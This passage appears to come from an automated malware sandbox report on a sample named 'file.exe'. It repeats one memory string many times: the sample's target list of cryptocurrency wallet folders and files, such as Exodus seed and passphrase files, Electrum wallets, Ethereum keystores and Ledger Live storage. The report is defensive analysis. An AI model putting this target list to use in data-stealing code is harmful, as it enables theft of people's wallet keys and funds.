Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.1833210482.0000000000597000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.1833210482.0000000000597000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.1833210482.0000000000597000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.1833210482.0000000000597000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.1833210482.0000000000597000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.1833210482.0000000000597000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.1833210482.0000000000597000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.1833210482.0000000000597000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.1833210482.0000000000597000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.1833210482.0000000000597000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.1833210482.0000000000597000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.1833210482.0000000000597000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.1833210482.0000000000597000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local 